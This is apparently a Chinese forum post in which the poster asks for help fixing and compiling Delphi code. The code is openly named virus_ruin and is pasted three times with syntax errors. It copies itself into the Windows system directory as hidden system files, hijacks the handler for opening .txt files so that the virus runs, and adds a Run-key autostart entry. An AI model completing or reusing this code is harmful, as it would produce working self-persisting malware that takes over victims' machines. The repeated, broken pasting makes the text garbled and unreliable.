//一时真系体不到那里缺少了(end . '' 之类)符号 大家帮手编译下 或者那里写错了?program Project2;uses
windows,winsock,shellapi,sysutils;begin
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
s:=strpas(Path);
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
end;
end.
windows,winsock,shellapi,sysutils;begin
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
s:=strpas(Path);
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
end;
end.
windows,winsock,shellapi,sysutils;
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
s:=strpas(Path);
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
end;begin
SelfCopy;
end.